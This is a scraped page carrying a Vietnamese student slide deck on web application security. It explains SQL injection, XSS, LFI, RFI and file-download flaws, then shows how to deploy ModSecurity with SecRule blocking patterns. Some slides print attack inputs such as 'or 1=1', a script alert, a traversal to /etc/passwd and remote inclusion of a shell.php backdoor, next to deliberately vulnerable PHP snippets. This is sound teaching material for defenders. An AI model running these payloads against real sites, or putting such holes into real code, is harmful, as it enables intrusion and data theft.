PHÁT TRIỂN NĂNG LỰC KHÁM PHÁ TỰ NHIÊN CHO HỌC SINH TRONG DẠY HỌC CHỦ ĐỀ VẬT S...
14. thoát vị bẹn nghẹt bệnh học ngoại khoa.pptx
CHƯƠNG 1-P2: ĐẢNG CỘNG SẢN VIỆT NAM RA ĐỜI VÀ LÃNH ĐẠO ĐẤU TRANH GIÀNH CHÍNH ...
Quản trị sự kiện........................
Vai trò vô cùng quan trọng để thuyết trình.pptx
CHUYÊN ĐỀ BỔ TRỢ NÂNG CAO DẠNG BÀI TẬP MỚI FORM 2025 - TIẾNG ANH 12 (TỜ RƠI Q...
SLIDE BV CHÍNH THỨC LATSKH - note.pptx
Chương 1 – Tổng quan về Cơ sở dữ liệu.pptx
TIẾT 11. BÀI 32 DINH DƯỠNG VÀ TIÊU HÓA Ở NGƯỜI.pptx
Chương 2 - Mô hình thực thể kết hợp.pptx
BÀI TẬP TEST BỔ TRỢ THEO TỪNG UNIT - TIẾNG ANH 10 GLOBAL SUCCESS - CẢ NĂM (30...
Powerpoint cho Ke toan tai chinh KET307_Bai1_SV.pptx
Bài giảng Power Point 2003, hướng dẫn học tập
Báo cáo thực tập công ty Ah-GlobalGroup vị trí Data Analyst
Giáo án Lý Luận Chung về Hành chính Nhà nước cập nhật mới....
SINH 8 TUYẾN YÊN TUYẾN GIÁP CÂU TẠO VÀ CHỨC NĂNG
Set menu 3 món rất hay và hiện đại dành cho người
BÀI TIỂU LUẬN HẾT HỌC PHẦN MÔN ĐÁNH GIÁ TRONG GIÁO DỤC

Web application-security

  • 1. WEB APPLICATION SECURITY Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh Date: 1-5-2015
  • 2. ABOUT AUTHOR • Name: Nguyễn Tuấn Anh Nguyễn Trường Phú • Class: 23CCAN04 • Unit: An toàn ứng dụng
  • 3. CONTENT 1. Web application attack and defense 2. Modsecurity (mod_sec)
  • 5. Web Application Security Nền tảng Website phổ biến: • Apache (httpd) • Nginx • IIS • Apache Tomcat • PHP • ASPX (ASP.NET) • JSP + Servlet (JAVA) • HTML + CSS / HTML5 + CSS3 • Javascript / Jquery Client – Side Server - Side • MySQL • MariaDB • MongoDB • MemSQL • Access • SQLserver • MSSQL • …….. + + Web services: Databases:Languages:
  • 6. Web Application Security 1 Website có thể bị tấn công như thế nào? • Thông qua Authencation (Các hình thức tấn công vào mật khẩu, giao thức mã hoá, hình thức chứng thực,…) • Thông qua Session, Transport,…. (Các hình thức tấn công qua bảo mật đường truyền bao gồm cả MITM) • Thông qua Lổ hổng Web Application • Thông qua Lổ hổng OS (Đặc biệt nhiều đối với Windows và khá ít đối với Linux) • Thông qua Server Application/Software (Lổ hổng các service/software khác trên server: Mail, browser,adobe,java,…) • Thông qua Mã độc hoặc Backdoor được thiết lập từ trước • Thông qua các hình thức tấn công từ chối dịch vụ (DoS, DDoS, DRDoS, Spam, …..) • Thông qua Crawler hoặc các kẻ hở trong configure và quản lý (lổ hổng phân quyền, lộ tập tin, đường dẫn nhạy cảm,… • Thông qua Tấn công vật lý • Thông qua tâm lý con người (Social)
  • 7. Web Application Security Lổ hổng Web Application 1. Injection (SQLi, LDAPi, OS command injection,…) 2. Cross Site Scripting (XSS) 3. Broken Authentication and Session Management (Nguy cơ về quản lý phiên/session) 4. Insecure Direct Object References (Các lổ hổng trong tham chiếu) 5. Cross Site Request Forgery (CSRF) 6. Security Misconfiguration (Lổ hổng trong cấu hình, triển khai dịch vụ web,…) 7. Insecure Cryptographic Storage (Lổ hổng trong mã hoá dữ liệu nhạy cảm) 8. Failure to Restrict URL Access (Các lổ hổng quyền hạn truy cập url nhạy cảm) 9. Insufficient Transport Layer Protection (Lổ hổng đường truyền) 10. Unvalidated Redirects and Forwards (Các lổ hổng chuyển hướng) 10 quy chuẩn bảo mật và cũng là 10 phân nhóm lỗ hổng bảo mật ứng dụng web theo OWASP 2010.
  • 8. Web Application Security Ví dụ về 1 số hình thức tấn công Web Application phổ biến: • SQL injection (SQLi) • Cross Site Scripting (XSS) • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Local File Discluse/Download (LFD) • …..
  • 9. Web Application Security Định nghĩa: 1. SQL injection SQL injection (SQLi) là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp
  • 10. Web Application Security Ví dụ: 1. SQL injection Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl  Câu truy vấn CSDL có dạng: “SELECT * FROM chuyenmuc WHERE tenchuyenmuc =“ + $page Trong đó có thể $page=$_GET(‘tenpage’) Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page=SQl or 1=1  Câu truy vấn CSDL có dạng: SELECT * FROM chuyenmuc WHERE tenchuyenmuc=SQl or 1=1 Ta thấy vì 1=1 luôn đúng nên truy vấn trả lại tất cả những thông tin có trong bảng chuyenmuc  Thông tin bị khai thác => Lỗi. Attacker có thể thực hiện truy vấn phức tạp hơn, truy vấn các cột, trường, thông tin quan trọng hơn.
  • 11. Web Application Security Định nghĩa: 2. XSS XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập các dữ liệu vào mà không thông qua kiểm duyệt nội dung, những dữ liệu này sẽ tương tác trực tiếp với những người dùng khác cùng sử dụng website. Nguy cơ tạo ra là hacker có thể chèn các mã kịch bản như HTML, Javascript… (client side) nhằm ăn cắp SessionCookie, thay đổi giao diện (deface) hoặc chuyển hướng đến trang có mã độc khác.
  • 13. Web Application Security Ví dụ: 2. XSS if(!empty($_GET['name'])) { $name=$_GET['name']; print $name; } else { Code lây $name trực tiếp từ giá trị khung name và in ra thẳng: Khi attacker không truy vấn bình thường mà inject mã javascript vào khung name  Truyền giá trị trực tiếp cho biến name: <script>alert(“Crazykid”)</script> Lúc này được javascript được gán cho biến name và in ra Như một câu lệnh chứ không phải là 1 truy vấn bình thường  đoạn javascript độc hại của attacker được thực thi
  • 14. Web Application Security Định nghĩa: 3. LFI Lỗ hổng cho phép các attacker có thể truy vấn các tập tin nhạy cảm trên web server và đọc được Nội dung các tập tin đó. Ví dụ các tập tin nhạy cảm: /etc/passwd, /etc/shadow, httpd.conf,……
  • 15. Web Application Security Ví dụ: 3. LFI Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl  Nếu code trang view có dạng: <?php $Bien=$_GET[‘page’]; Include $Bien; ?> Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page=../../../etc/passwd  Lúc này trở thành giống như là ta code như sau: <?php $Bien=$_GET[‘page’]; Include ../../../etc/passwd; ?>  Attacker có thể đọc được nội dung của tập tin passwd trong đường dẫn ../../etc/ trên server ngay chính tại trang view. Chú ý ../ là chuyển lên một thư mục trong Linux. Nếu server windows thì dung ..  URL lencode = %5C
  • 16. Web Application Security Định nghĩa: 3. RFI Cho phép attack gọi đến một file trên web server hoặc trên server khác ngay tại web server này. Ví dụ: http://ceh.vn/page?=http://www.vietnamnet.vn Nếu ceh.vn bị lỗi RFI thì nội dung trang vietnamnet.vn sẽ hiển hị trên ceh.vn Nếu attacker đặt backdoor trên vietnamnet.vn dạng: http://www.vietnamnet.vn/shell.php Tại ceh.vn attacker truy vấn: http://ceh.vn/page?=www.vietnamnet.vn/shell.php Thì nội dung backdoor shell.php sẽ được include vào source code của ceh.vn  ta cắm backdoor trưc tiếp trên ceh.vn
  • 17. Web Application Security Ví dụ: 3. RFI Code: <?php $test=$_GET['test']; include $test.'id=1'; ?> Và register_globals = off http://xx.xx.xx.xx/CEH/RFI/3test.php?test=http://ceh.vn/shell.txt Input: Out:
  • 18. Web Application Security Định nghĩa: 3. LFD Giống LFI nhưng thay vì attacker có thể đọc các file nhạy cảm thì ở đây attacker có thể Download các file nhạy cảm về máy
  • 19. Web Application Security Ví dụ: 3. LFD Đoạn code sau: <?php $test=$_GET['test']; readfile($test); ?> Hàm readfile() cho phép chúng ta đọc code file được truyền vào . http://ceh.vn/CEH/3LFD/1lfd.php?test=/etc/passwd
  • 20. Web Application Security Phát hiện, kiểm tra các lổ hổng Web Application: • Ở vị trí attacker tấn công Opensource hoặc ở vị trị quản trị/chuyên gia an ninh kiểm thử Whitehat: Đọc source code, Debug Source code tìm lổ hổng. • Tấn công CloseSource, Đa số, kiểm thử Blackbox:  Sử dụng phương pháp thủ công Phương pháp Fuzzer vào các input (Nhập vào chuỗi ký tự ngẫu nhiên hoặc có mục địch nhằm xác định lổ hổng) Ví dụ: Thêm vào URL, khung Search, Login,… các câu truy vấn, thay đổi method, tiêm vô số ký tự,…  Sử dụng phương pháp tự động Sử dụng các công cụ Scan, tìm kiếm lổ hổng Ví dụ: OpenSource: W3AF, Paros (Andiparos và Zed attack Proxy), Skipfish, Grabber, Zero Day Scan,… CloseSource: Acunetix, N-stalker, NeXpose, Retina, AppScan, ParosPro, ….
  • 21. Web Application Security Giải pháp Web Application Security: • An Toàn Source code: Fix lổ hổng trong source code. Đưa ra 1 số hàm lọc, Security phù hợp • Authencation: Áp dụng các hình thức mã hoá, chứng thực phù hợp (Kể cả mã hoá đường truyền (SSL, TLS,…)) • Đảm bảo toàn vẹn dữ liệu • Permission: Phân quyền tập tin source code web, tập tin quan trọng server, quản trị web,…phù hợp • Nâng cao kiến thức quản trị viên, tâm lý con người. • Thủ thuật riêng (Tuỳ kinh nghiệm mỗi quản trị viên): Giả lập patch web home, Giấu Configure file, tạo bẫy (honeypot), thiết lập php.ini phù hợp, lợi dụng mod rewirte, …….. • Sử dụng Web Application Firewall
  • 22. Web Application Security Tại sao cần Web Application Firewall? Nếu 1 Server chứa hàng trăm website  Việc Fix code từng website sẽ gây tốn kém tiền bạc, thời gian, Vô tình bỏ sót lổ hổng hoặc tạo phản ứng ngược nếu đội ngũ Fix Code trình độ yếu, cần một lớp gia cố Chắn chắn bên ngoài Web Application Firewall: Nhanh, Tiết kiệm chi phí, công sức, hiệu quả lớn, nhiều tính năng mở rộng, Quản trị tập trung, …. Và còn nhiều lợi ích khác
  • 23. Web Application Security Tại sao dùng Web Application khi có Firewall thông thường? Bởi vì ta cần những thứ firewall thông thường không có hoặc không được thiết kế với mục đích: Hoạt động và bảo vệ mạnh mẽ Layer 7, chống các cuộc tấn công layer 7. Phân tích, lọc, kiểm duyệt, thậm chí sửa đổi mạnh mẽ không chỉ header mà còn cả Request body, Request Response, được thiết kế để phù hợp với từng ứng dụng web, từng hệ thống web, Buffer các request/response để đảm bảo phân tích toàn diện vào bảo vệ tốt ứng dụng trong thời gian Thực Một số sản phẩm WAF cung cấp nhiều tính năng mở rộng như: Kiểm soát Cookies, Fake port, Fake Comment, Fake Compoment, …….
  • 24. Web Application Security Sơ đồ triển khai hệ thống đề nghị (Chỉ đối với 1 hệ thống Web server) Web Server Database Server Reverse Proxy ----- WAF (mod_sec) User Chú ý: WAF (Trong bài này là Mod_sec) và các luật chính của firewall tầng dưới sẽ triển khai tại Reverse Proxy. 1 Reverse Proxy có thể triển khai với nhiều Web Server. Tuỳ nhu cầu và điều kiện + Độ quan trọng Của DB mà triển khai Database riêng như mô hình hay để DB ngay tại Webserver còn Database triển Khai như một Server AD Backup hoặc gỡ bỏ để tiết kiệm chi phí.
  • 25. Web Application Security Một vài thắc mắc: Tại sao triển khai WAF trên Reverse Proxy?  Để bảo toàn Web Server và các Server bên trong khi cuộc tấn công nặng nề. Attacker tiếp xúc trực Tiếp với reverse proxy.  Giảm thiểu tài nguyên tiêu tốn cho Web server vì các WAF cần 1 lượng tài nguyên không nhỏ.  WAF cũng có thể kiểm soát tài nguyên tĩnh được Caching trên Reverse Proxy (HTML, CSS,…) Một số lời khuyên: Triển khai Reverse proxy với Nginx hoặc Apache (khuyên dùng Nginx vì độ chịu tải và caching) Có thể sử dụng Linux cho các server, Nếu sử dụng Linux cho các Server thì khuyên dùng firewall Application: modsecurity và Firewall tầng dưới dùng Iptables, lý do: Free, Mạnh mẽ, tuỳ biến mạnh, Modsecurity và Iptables có thể kết hợp với nhau hoàn hảo, Modsecurity có thể ra lệnh cho iptables Thực hiện các action khi cần thiết thông qua module hỗ trợ.
  • 27. Web Application Security Modsecurity Modsecurity (mod_Sec) là gì? • Một Web Application Firewall (WAF) • Được triển khai như là một Module của các web service • Opensource, Có thể mở rộng và miễn phí chỉ trả tiền nếu muốn có dịch vụ hỗ trợ
  • 28. Web Application Security Modsecurity Hoạt động ra sao? Kiểm soát chặt chẽ hoạt động của web server trên layer 7. Ghi log. Hành động theo luật Web Response Body Request Header Response Header Logging Request Body
  • 29. Web Application Security Modsecurity Hoạt động ra sao? Modsecurity có thể kiểm soát request và reponse trong cả header và body, nếu phát hiện các dấu Hiệu tấn công theo rules, Mod_sec sẽ thực hiện hoạt động đã được định sẵn theo từng Rules và ghi Logs lại các hành động đó Ví dụ: Phát triện trong Url truy vấn có ký tự () thì lập tức DROP. Ngoài ra Mod_sec còn có thể tạo hoặc chỉnh sửa các Request và Reponse.
  • 30. Web Application Security Modsecurity Triển khai Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache) Yêu cầu: • Apache 2.2x hoặc các phiên bản sau • Libapr và Libapr-util • Libpcre • Liblua v1.5x hoặc các phiên bản sau này • Module Mod_unique_id của apache phải được bật
  • 31. Web Application Security Modsecurity Triển khai Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache) Cài đặt • Download source Mod_sec tại trang chủ • Tạm dừng Apache • Biên dịch và cài đặt Mod_sec • Load module mod_sec trong file cấu hình apache Lưu ý: trước khi biên dịch hãy cài trình biên dịch. Đối với Centos: yum groupinstall “Development Tools”
  • 32. Web Application Security Modsecurity Triển khai Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache) Tạo tập tin config mod_sec ví dụ modsec.conf và include tập tin này trong file cấu hình apache Tạo tập tin chứa rules cho Mod_sec ví dụ rulesmod.conf Trong tập tin modsec.conf ta gõ: <IfModule mod_security2.c> SecRuleEngine On SeDefaultAction “phase:1,deny,log,status:406,id:60008” Include “/etc/httpd/conf.d/rulesmod.conf” </IfModule> Khởi động Apache. Sẽ giải thích rõ từng dòng khi Demo.
  • 33. Web Application Security Modsecurity Triển khai Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache) Tạo tập tin config mod_sec ví dụ modsec.conf và include tập tin này trong file cấu hình apache Tạo tập tin chứa rules cho Mod_sec ví dụ rulesmod.conf Trong tập tin modsec.conf ta gõ: <IfModule mod_security2.c> SecRuleEngine On SeDefaultAction “phase:1,deny,log,status:406,id:60008” Include “/etc/httpd/conf.d/rulesmod.conf” </IfModule> Khởi động Apache. Sẽ giải thích rõ chức năng từng dòng khi Demo.
  • 34. Web Application Security Modsecurity Lỗi thường gặp khi cài mod_sec và giải pháp (thực hiện triển khai trên Server Centos, Web service: apache) mlogc.c:32:23: error: curl/curl.h: No such file or directory mlogc.c:2232: error: âCURL_GLOBAL_ALLâ undeclared (first use in this function) make[2]: *** [mlogc-mlogc.o] Error 1 make[2]: Leaving directory `/usr/src/modsecurity- apache_2.6.0/mlogc' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/usr/src/modsecurity- apache_2.6.0' make: *** [all] Error 2 Giải pháp: Cài curl và curl-devel sử dụng lệnh: yum install curl* Sau khi cài xong, xoá Makefile và biên dịch lại.
  • 35. Web Application Security Modsecurity Cấu trúc Rules Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache) SecRule VARIABLES OPERATOR [ACTIONS] VARIABLE: (WHERE?) Vị trí So sánh OPERATOR : (HOW?) Dấu hiệu căn cứ để so sánh [ACTIONS]: (WHAT?) Xử lý ra sao Trong đó:
  • 36. Web Application Security Modsecurity Ví dụ: (thực hiện triển khai trên Server Centos, Web service: apache) SecRule ARGS kid SecRule ARGS|REQUEST_HEADERS:User-Agent kid SecRule HTTP_Referer “www.google.com” SecRule ARGS "unions+select" "deny,msg:'SQL Injection'" SecRule ARGS "unions+alls+select" "deny,msg:'SQL Injection'" SecRule ARGS "drops+table" "deny,msg:'SQL Injection'" SecRule ARGS "selects+*" "deny,msg:'SQL " Sẽ giải thích từng dòng rules khi Demo
  • 37. Web Application Security Modsecurity Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache) VARIABLE: (WHERE?) Vị trí So sánh
  • 38. Web Application Security Modsecurity Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache) OPERATOR : (HOW?) Dấu hiệu căn cứ để so sánh • So sánh theo chuỗi thường • So sánh theo toán tử Ví dụ so sánh toán tử: SecRule ARGS "!@rx ^CrazyKid$"
  • 39. Web Application Security Modsecurity Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache) ModSecurity hỗ trợ 4 nhóm OPERATOR: • String–matching operators //so khớp string dùng toán tử • Numerical operators // So sánh số • Validation operators // Một vài toán tử đặc biệt so sánh các giá trị đặc biệt (XML, UTF-8,…) • Miscellaneous operators // Các toán tử lọc. Dùng so sánh lộ thông tin CC, lộ thông tin người dùng,….
  • 40. Web Application Security Modsecurity Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache) [ACTIONS]: (WHAT?) Xử lý ra sao ModSecurity chia các action thành 7 phân mục: • Disruptive actions • Flow actions • Metadata actions • Variable actions • Logging actions • Special actions • Miscellaneous Actions
  • 41. Web Application Security Modsecurity Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache) Ví dụ Disruptive actions: - Nếu xử lý khi so khớp thông tin = True thì thực hiện: + Allow (cho phép) +Block (khoá) +Deny (chặn và gửi phản hồi) +pass (cho qua luật tiếp theo) +Drop (Loại bỏ và không phản hồi) +Pause (Tạm dừng) …..
  • 42. Web Application Security Modsecurity Câu hỏi đặt ra: Các quản trị viên không am hiểu Rules mod_sec có thể triển khai mod_sec một cách an toàn không? Giải pháp trong trường hợp này: CORE RULE SET (CRS) Hạn chế: Core rules set là tập hợp rules được viết cho đại đa số người dùng chứ không phải một Hệ thống cụ thể nào  Tính tuỳ biến, linh hoạt và bảo mật không đảm bảo bằng tự thiết kế rules
  • 43. Web Application Security Modsecurity Một số tính năng mở rộng khác của Modsecurity Fake port:
  • 44. Web Application Security Modsecurity Một số tính năng mở rộng khác của Modsecurity Fake robots.txt Disallow Entries
  • 45. Web Application Security Modsecurity Một số tính năng mở rộng khác của Modsecurity Fake hidden form fields
  • 46. Web Application Security Modsecurity Một số tính năng mở rộng khác của Modsecurity Làm chậm các công cụ scan lổ hổng tự động
  • 48. Web Application Security Modsecurity Giải pháp Gui logs cho Modsecurity Một số giải pháp nguồn mở Cho việc monitor mod_sec Bằng giao diện đồ hoạ: Ví dụ: WAF-FLE
  • 49. Web Application Security Modsecurity Và còn rất nhiều tính năng khác……